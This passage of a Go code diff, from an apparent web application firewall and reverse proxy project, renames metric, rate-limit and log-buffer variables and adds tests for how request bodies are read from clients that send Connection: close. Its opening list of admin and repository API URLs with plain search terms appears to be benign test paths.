/api/v1/admin/emails/search?q=ls%20-la
|
||||
/api/v1/admin/emails/search?q=.htaccess
|
||||
/api/v1/admin/emails/search?q=alice
|
||||
/api/v1/admin/unadopted?query=python3
|
||||
/api/v1/admin/unadopted?query=powershell
|
||||
/api/v1/admin/unadopted?query=ls%20-la
|
||||
/api/v1/admin/unadopted?query=.htaccess
|
||||
/api/v1/admin/unadopted?query=alice%2Fpython3-app
|
||||
/api/v1/admin/unadopted?query=alice%2Flegacy-site
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=python3
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=powershell
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=ls%20-la
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=.htaccess
|
||||
/api/v1/repos/alice/tools/milestones?state=open&name=v1.0
|
||||
|
||||
# Pages, raw files and edit pages of files, and the API's call for their
|
||||
# contents.
|
||||
/owner/repo/src/branch/main/package.json
|
||||
|
||||
@@ -456,8 +456,11 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
||||
|
||||
+19
-17
@@ -13,14 +13,15 @@ const other = "other"
|
||||
|
||||
// busiest are the metrics by one thing the lookup finds of the client,
|
||||
// its country or its AS number, for requests whose client's is known.
|
||||
// The topN busiest countries or AS numbers, by their requests since the
|
||||
// start, have series of their own, and the others are counted under
|
||||
// other, so that there are never more than topN + 1 series. One that
|
||||
// drops out of the busiest loses its series, and its next requests are
|
||||
// counted under other; one that becomes one of them gets a series that
|
||||
// counts from then on. Each series therefore only ever goes up.
|
||||
// The busiestCount busiest countries or AS numbers, by their requests
|
||||
// since the start, have series of their own, and the others are counted
|
||||
// under other, so that there are never more than busiestCount + 1 series.
|
||||
// One that drops out of the busiest loses its series, and its next
|
||||
// requests are counted under other; one that becomes one of them gets a
|
||||
// series that counts from then on. Each series therefore only ever goes
|
||||
// up.
|
||||
type busiest struct {
|
||||
topN int
|
||||
busiestCount int
|
||||
|
||||
requests *prometheus.CounterVec
|
||||
requestBytes *prometheus.CounterVec
|
||||
@@ -38,9 +39,9 @@ type busiest struct {
|
||||
}
|
||||
|
||||
// newCountries returns the metrics by country, with series of their own
|
||||
// for the topN busiest countries.
|
||||
func newCountries(topN int) *busiest {
|
||||
countries := newBusiest(topN, "country", "the client's country")
|
||||
// for the busiestCount busiest countries.
|
||||
func newCountries(busiestCount int) *busiest {
|
||||
countries := newBusiest(busiestCount, "country", "the client's country")
|
||||
countries.refused = counterVec(
|
||||
"sww_country_list_refusals_total",
|
||||
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
|
||||
@@ -51,18 +52,19 @@ func newCountries(topN int) *busiest {
|
||||
}
|
||||
|
||||
// newASNs returns the metrics by AS number, with series of their own for
|
||||
// the topN busiest AS numbers.
|
||||
func newASNs(topN int) *busiest {
|
||||
return newBusiest(topN, "asn", "the client's AS number")
|
||||
// the busiestCount busiest AS numbers.
|
||||
func newASNs(busiestCount int) *busiest {
|
||||
return newBusiest(busiestCount, "asn", "the client's AS number")
|
||||
}
|
||||
|
||||
// newBusiest returns the metrics by label, which is described as
|
||||
// description, with series of their own for the topN busiest values.
|
||||
func newBusiest(topN int, label, description string) *busiest {
|
||||
// description, with series of their own for the busiestCount busiest
|
||||
// values.
|
||||
func newBusiest(busiestCount int, label, description string) *busiest {
|
||||
by := []string{label}
|
||||
|
||||
return &busiest{
|
||||
topN: topN,
|
||||
busiestCount: busiestCount,
|
||||
requests: counterVec("sww_"+label+"_requests_total",
|
||||
"Requests, by "+description+".", by),
|
||||
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
|
||||
@@ -131,7 +133,7 @@ func (b *busiest) label(value string) string {
|
||||
return value
|
||||
}
|
||||
|
||||
if len(b.top) < b.topN {
|
||||
if len(b.top) < b.busiestCount {
|
||||
b.top[value] = true
|
||||
|
||||
return value
|
||||
|
||||
@@ -61,12 +61,12 @@ type Metrics struct {
|
||||
}
|
||||
|
||||
// New returns the metrics, with the Go runtime's and the process's own.
|
||||
// topN is how many countries and how many AS numbers get series of their
|
||||
// own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric carries instanceName
|
||||
// (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
// busiestCount is how many countries and how many AS numbers get series of
|
||||
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
|
||||
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
|
||||
//
|
||||
//nolint:funlen // a few lines for each metric, a list that grows with them
|
||||
func New(topN int, instanceName string) *Metrics {
|
||||
func New(busiestCount int, instanceName string) *Metrics {
|
||||
byStatus := []string{"status_class", "action"}
|
||||
byFile := []string{"file"}
|
||||
registry := prometheus.NewRegistry()
|
||||
@@ -114,8 +114,8 @@ func New(topN int, instanceName string) *Metrics {
|
||||
"and the rule's id.",
|
||||
[]string{"mode", "rule_id"},
|
||||
),
|
||||
countries: newCountries(topN),
|
||||
asns: newASNs(topN),
|
||||
countries: newCountries(busiestCount),
|
||||
asns: newASNs(busiestCount),
|
||||
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
|
||||
Name: "sww_geojs_requests_total",
|
||||
Help: "Requests to GeoJS.",
|
||||
|
||||
@@ -185,8 +185,8 @@ func New(limits Limits, maxClients int) *Limiter {
|
||||
}
|
||||
}
|
||||
|
||||
// Hit is a request that takes a client over a rate limit or the error
|
||||
// burst, or whose bytes take it over a byte limit.
|
||||
// Hit is a request that takes a client over a rate limit or the refusal
|
||||
// limit, or whose bytes take it over a byte limit.
|
||||
type Hit struct {
|
||||
// Kind is KindRequests for a rate limit, KindBytes for a byte limit,
|
||||
// KindRefusals for the refusal limit.
|
||||
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
|
||||
// CountRefusal counts a request from client at now that sww
|
||||
// refused after a rule file or Core Rule Set match or for a missing or
|
||||
// wrong token, and reports whether the client's refusals in the minute
|
||||
// that ends at now, this one included, are more than threshold, which
|
||||
// breaks the refusal limit, and the hit.
|
||||
// that ends at now, this one included, are more than limit, which breaks
|
||||
// the refusal limit, and the hit.
|
||||
func (l *Limiter) CountRefusal(
|
||||
client netip.Prefix, now time.Time, threshold int64,
|
||||
client netip.Prefix, now time.Time, limit int64,
|
||||
) (Hit, bool) {
|
||||
l.mu.Lock()
|
||||
defer l.mu.Unlock()
|
||||
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
|
||||
hit := Hit{
|
||||
Kind: KindRefusals,
|
||||
Window: "minute",
|
||||
Limit: threshold,
|
||||
Limit: limit,
|
||||
Count: count,
|
||||
}
|
||||
|
||||
return hit, count > float64(threshold)
|
||||
return hit, count > float64(limit)
|
||||
}
|
||||
|
||||
// Reset sets client's counts of requests, of bytes and of refusals in
|
||||
|
||||
@@ -351,7 +351,9 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
|
||||
wantBytesCount(t, limiter, client, start, 1000, "")
|
||||
}
|
||||
|
||||
func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||
@@ -361,7 +363,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||
for range limit {
|
||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||
t.Fatalf(
|
||||
"a refusal within the threshold of %d broke the refusal limit",
|
||||
"a refusal within the limit of %d broke the refusal limit",
|
||||
limit,
|
||||
)
|
||||
}
|
||||
@@ -374,7 +376,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||
}
|
||||
if !over || hit != want {
|
||||
t.Errorf(
|
||||
"one over the threshold broke it: %t, with %+v; want %+v",
|
||||
"one over the limit broke it: %t, with %+v; want %+v",
|
||||
over,
|
||||
hit,
|
||||
want,
|
||||
@@ -382,7 +384,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
||||
}
|
||||
|
||||
// Half a minute into the next, half of those four still count, 2, and
|
||||
// this one: 3, within the threshold.
|
||||
// this one: 3, within the limit.
|
||||
hit, over = limiter.CountRefusal(
|
||||
client,
|
||||
start.Add(time.Minute+time.Minute/2),
|
||||
|
||||
@@ -62,9 +62,9 @@ type Params struct {
|
||||
// RootCAs are the certificates a SchemeTLS endpoint's certificate
|
||||
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
|
||||
RootCAs *x509.CertPool
|
||||
// Buffer is the most lines held while they wait to be sent
|
||||
// BufferLines is the most lines held while they wait to be sent
|
||||
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
|
||||
Buffer int
|
||||
BufferLines int
|
||||
// Facility is the number of the records' syslog facility
|
||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
|
||||
// (SWW_WAF_LOG_REMOTE_APP_NAME).
|
||||
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
|
||||
// id and the structured data have no value.
|
||||
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
|
||||
afterTime: " " + hostname + " " + params.AppName + " - - - ",
|
||||
records: make(chan []byte, params.Buffer),
|
||||
records: make(chan []byte, params.BufferLines),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
||||
endpoint := listen(t)
|
||||
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
|
||||
endpointParams.RootCAs = roots
|
||||
endpointParams.Buffer = 3
|
||||
endpointParams.BufferLines = 3
|
||||
sender, _, _ := run(t, endpointParams)
|
||||
|
||||
// The sender connects, and its TLS handshake waits for an answer
|
||||
@@ -402,10 +402,10 @@ func (o *output) text() string {
|
||||
// appName.
|
||||
func params(scheme string, addr net.Addr) remotelog.Params {
|
||||
return remotelog.Params{
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
Buffer: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
URL: &url.URL{Scheme: scheme, Host: addr.String()},
|
||||
BufferLines: 10,
|
||||
Facility: local0,
|
||||
AppName: appName,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -42,9 +42,9 @@ const (
|
||||
otherZone = "other.example"
|
||||
// cacheTTL is the tests' SWW_WAF_IP_REPUTATION_CACHE_TTL, and timeout
|
||||
// their SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS: a second, the least time
|
||||
// /etc/resolv.conf
|
||||
// can have Go's resolver wait for one server, so that it is the
|
||||
// DNSBL's own timeout that ends a query, whatever that file says.
|
||||
// /etc/resolv.conf can have Go's resolver wait for one server, so that
|
||||
// it is the DNSBL's own timeout that ends a query, whatever that file
|
||||
// says.
|
||||
cacheTTL = 24 * time.Hour
|
||||
timeout = time.Second
|
||||
// listed and unlisted are clients zone is asked about by the names
|
||||
|
||||
@@ -26,6 +26,10 @@ import (
|
||||
// post is the start of a POST whose headers end with what follows it.
|
||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||
|
||||
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
||||
// body, the 64 KiB rproxy reads before it asks waf.
|
||||
const limitPastFirstPart = "128K"
|
||||
|
||||
// announcedLength is the header that announces a body of size bytes, and the
|
||||
// end of the headers.
|
||||
func announcedLength(size int) string {
|
||||
@@ -75,7 +79,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
size, asked int
|
||||
}{
|
||||
{"with the limit within the first part", "1K", 1025, 1024},
|
||||
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
||||
{
|
||||
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
||||
questionBodyMaxBytes,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
@@ -93,10 +100,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
||||
},
|
||||
)
|
||||
|
||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
||||
bytes.NewReader(make([]byte, tc.size))))
|
||||
if got.status != http.StatusRequestEntityTooLarge {
|
||||
t.Errorf("answered %+v, want 413", got)
|
||||
// The visitor sends no Connection: close, so Go's server reads the rest
|
||||
// of the body before it closes the connection. Closed with the rest
|
||||
// unread, the connection is reset while the visitor still sends.
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+announcedLength(tc.size)+
|
||||
strings.Repeat("x", tc.size))
|
||||
|
||||
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||
t.Errorf("status %d, want 413", status)
|
||||
}
|
||||
|
||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||
@@ -131,6 +143,134 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
waf http.HandlerFunc
|
||||
rest int
|
||||
status int
|
||||
}{
|
||||
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
||||
{"denied", deny, 65 << 10, http.StatusForbidden},
|
||||
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
||||
// connection's buffers. Otherwise the visitor is still sending when the
|
||||
// connection closes, and gets a reset.
|
||||
{
|
||||
"with more than 256 KiB left", allow, 272 << 10,
|
||||
http.StatusRequestEntityTooLarge,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, tc.waf)
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
||||
map[string]string{maxRequestSize: limitPastFirstPart})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(questionBodyMaxBytes+tc.rest)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
res, err := http.ReadResponse(reader, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("read the answer: %v", err)
|
||||
}
|
||||
|
||||
_, _ = io.Copy(io.Discard, res.Body)
|
||||
_ = res.Body.Close()
|
||||
|
||||
if res.StatusCode != tc.status {
|
||||
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
||||
}
|
||||
|
||||
// The rest goes in small parts, so that a reset fails a later one.
|
||||
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
||||
send(t, conn, strings.Repeat("x", 1<<10))
|
||||
}
|
||||
|
||||
got, err := io.ReadAll(reader)
|
||||
if err != nil || len(got) != 0 {
|
||||
t.Errorf(
|
||||
"after the answer, read %q and %v, want the end",
|
||||
got,
|
||||
err,
|
||||
)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set(dispositionHeader, dispositionClose)
|
||||
w.WriteHeader(http.StatusOK)
|
||||
})
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
t.Error("the app was asked")
|
||||
})
|
||||
// The request time limit is far longer than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "120000",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes))
|
||||
|
||||
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||
text, err := io.ReadAll(conn)
|
||||
if err != nil || len(text) != 0 {
|
||||
t.Errorf(
|
||||
"read %q (%v), want the connection closed without an answer",
|
||||
text,
|
||||
err,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(t, allow)
|
||||
// The flush has the app's server send greeting in chunks instead of adding a
|
||||
// Content-Length.
|
||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||
rc := http.NewResponseController(w)
|
||||
_ = rc.EnableFullDuplex()
|
||||
|
||||
_, _ = io.WriteString(w, greeting)
|
||||
_ = rc.Flush()
|
||||
})
|
||||
// The request time limit is far longer than dial's deadline.
|
||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||
maxRequestTime: "120000",
|
||||
})
|
||||
|
||||
conn := dial(t, addr)
|
||||
send(t, conn, post+"Connection: close\r\n"+
|
||||
announcedLength(2*questionBodyMaxBytes)+
|
||||
strings.Repeat("x", questionBodyMaxBytes+1))
|
||||
|
||||
wantGreeting(t, readAnswer(t, conn))
|
||||
}
|
||||
|
||||
func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -143,7 +283,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
|
||||
mayReachApp bool
|
||||
}{
|
||||
{"within the first part", "1K", 2 << 10, false},
|
||||
{"past the first part", "128K", 129 << 10, true},
|
||||
{"past the first part", limitPastFirstPart, 129 << 10, true},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -38,6 +38,10 @@ const plainText = "text/plain; charset=utf-8"
|
||||
// and the visitor then gets a closed connection and no answer.
|
||||
const minSendTime = 10 * time.Second
|
||||
|
||||
// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
|
||||
// reads once the handler returns, for a visitor without Connection: close.
|
||||
const maxBodyReadAfterAnswer = 256 << 10
|
||||
|
||||
// errResponseTooLate refuses an app's answer that arrives once
|
||||
// SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
|
||||
var errResponseTooLate = errors.New(
|
||||
@@ -339,8 +343,8 @@ func (rq *request) answer(status int) {
|
||||
}
|
||||
|
||||
// A visitor found too slow is read no more; any other may go on sending until
|
||||
// its time is up, so that Go's server can read the rest of the body and end
|
||||
// the request cleanly.
|
||||
// its time is up, so that the rest of the body is read and the request ends
|
||||
// cleanly: by Go's server, or by readRestOfBody.
|
||||
deadline := rq.requestDeadline()
|
||||
if status == http.StatusRequestTimeout {
|
||||
deadline = time.Now()
|
||||
@@ -524,10 +528,35 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
||||
_ = rq.rc.SetReadDeadline(deadline)
|
||||
}
|
||||
|
||||
// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
|
||||
// has been answered with a Content-Length, until the read deadline already set on
|
||||
// the connection. It does this only for a body with a declared length from a
|
||||
// visitor that sent Connection: close, because Go's server reads none of that
|
||||
// rest. Without the read, the visitor, still sending, gets a reset and may never
|
||||
// read the answer. Go's server ends an answer without a Content-Length only once
|
||||
// the handler returns, so reading first would hold back the end of that answer.
|
||||
// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
|
||||
// server tell the visitor it sends no more, then wait 500 ms before it closes
|
||||
// the connection.
|
||||
func (rq *request) readRestOfBody() {
|
||||
if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
|
||||
rq.out.Header().Get("Content-Length") == "" ||
|
||||
rq.out.status == http.StatusSwitchingProtocols {
|
||||
return
|
||||
}
|
||||
|
||||
rest := http.MaxBytesReader(
|
||||
rq.out.ResponseWriter,
|
||||
rq.in.Body,
|
||||
maxBodyReadAfterAnswer,
|
||||
)
|
||||
_, _ = io.Copy(io.Discard, rest)
|
||||
}
|
||||
|
||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
||||
// server reads it once the handler returns, but with no deadline at all if
|
||||
// another read of it is still waiting.
|
||||
// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
|
||||
// deadline. Go's server reads it once the handler returns, but with no deadline
|
||||
// at all if another read of it is still waiting.
|
||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
||||
if rq.body == nil || rq.body.received.Load() {
|
||||
return
|
||||
|
||||
@@ -110,8 +110,7 @@ func New(params Params) *Server {
|
||||
|
||||
// WaitForReports returns once the reports being sent have gone or failed,
|
||||
// which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
|
||||
// is dropped: that of
|
||||
// a WebSocket that closes while rproxy stops, for one.
|
||||
// is dropped: that of a WebSocket that closes while rproxy stops, for one.
|
||||
func (s *Server) WaitForReports() {
|
||||
s.h.reportsMu.Lock()
|
||||
s.h.reportsStopped = true
|
||||
@@ -171,6 +170,7 @@ func newWAFTransport() *http.Transport {
|
||||
// it writes the request's log line and sends its report.
|
||||
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
rq := h.newRequest(w, r)
|
||||
defer rq.readRestOfBody()
|
||||
defer rq.finish(r.Context())
|
||||
|
||||
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
|
||||
|
||||
@@ -44,13 +44,13 @@ const (
|
||||
|
||||
// The settings the tests set.
|
||||
const (
|
||||
timeoutSetting = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
|
||||
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
|
||||
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
)
|
||||
|
||||
// The headers the tests set and look at.
|
||||
@@ -956,7 +956,8 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
|
||||
}
|
||||
}
|
||||
|
||||
// noAnswers are the ways waf can leave the decision to the default.
|
||||
// noAnswers are the ways waf can leave the decision to
|
||||
// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
|
||||
func noAnswers() map[string]func(t *testing.T) string {
|
||||
return map[string]func(t *testing.T) string{
|
||||
"no connection": func(*testing.T) string { return nowhere },
|
||||
@@ -1008,7 +1009,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
|
||||
} {
|
||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
|
||||
subtest := tc.name + " with " + noAnswerSetting + "=" + setting
|
||||
t.Run(subtest, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(
|
||||
@@ -1049,7 +1051,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
|
||||
if line["status"] != float64(tc.status) ||
|
||||
line["waf_backend_no_answer"] != nil {
|
||||
t.Errorf(
|
||||
"line %v, want status %d and no default",
|
||||
"line %v, want status %d and no waf_backend_no_answer",
|
||||
line,
|
||||
tc.status,
|
||||
)
|
||||
@@ -1109,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
||||
_, _ = w.Write(make([]byte, size))
|
||||
})
|
||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
timeoutSetting: "60000",
|
||||
wafBackendTimeout: "60000",
|
||||
})
|
||||
|
||||
got := get(t, addr, "/")
|
||||
@@ -1202,7 +1204,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
"a 101 that holds its connection open": answeringWith(switchAndHold),
|
||||
} {
|
||||
for _, setting := range []string{dispositionAllow, dispositionDeny} {
|
||||
t.Run(name+" with the default "+setting, func(t *testing.T) {
|
||||
subtest := name + " with " + noAnswerSetting + "=" + setting
|
||||
t.Run(subtest, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||
@@ -1213,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
timeoutSetting: "60000",
|
||||
noAnswerSetting: setting,
|
||||
wafBackendTimeout: "60000",
|
||||
noAnswerSetting: setting,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1242,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
|
||||
standIn := startWAF(t, overOneMiB(dispositionDeny))
|
||||
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
||||
timeoutSetting: "60000",
|
||||
wafBackendTimeout: "60000",
|
||||
})
|
||||
|
||||
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
|
||||
@@ -1253,7 +1256,9 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
|
||||
standIn.wantNoReport(t)
|
||||
}
|
||||
|
||||
func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
|
||||
t *testing.T,
|
||||
) {
|
||||
t.Parallel()
|
||||
|
||||
for name, backend := range noAnswers() {
|
||||
@@ -1266,7 +1271,7 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
timeoutSetting: "200",
|
||||
wafBackendTimeout: "200",
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1275,7 +1280,10 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionAllow ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
t.Errorf("line %v, want allow by default", line)
|
||||
t.Errorf(
|
||||
"line %v, want allow and waf_backend_no_answer",
|
||||
line,
|
||||
)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -1290,8 +1298,8 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
backend(t),
|
||||
app.URL,
|
||||
map[string]string{
|
||||
timeoutSetting: "200",
|
||||
noAnswerSetting: dispositionDeny,
|
||||
wafBackendTimeout: "200",
|
||||
noAnswerSetting: dispositionDeny,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -1303,17 +1311,20 @@ func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
|
||||
line := out.requestLine(t)
|
||||
if line["disposition"] != dispositionDeny ||
|
||||
line["waf_backend_no_answer"] != true {
|
||||
t.Errorf("line %v, want deny by default", line)
|
||||
t.Errorf(
|
||||
"line %v, want deny and waf_backend_no_answer",
|
||||
line,
|
||||
)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||
func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, disposition := range []string{dispositionAllow, dispositionDeny} {
|
||||
t.Run("with the default "+disposition, func(t *testing.T) {
|
||||
t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
standIn := startWAF(
|
||||
@@ -1330,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
|
||||
standIn.URL,
|
||||
app.URL,
|
||||
map[string]string{
|
||||
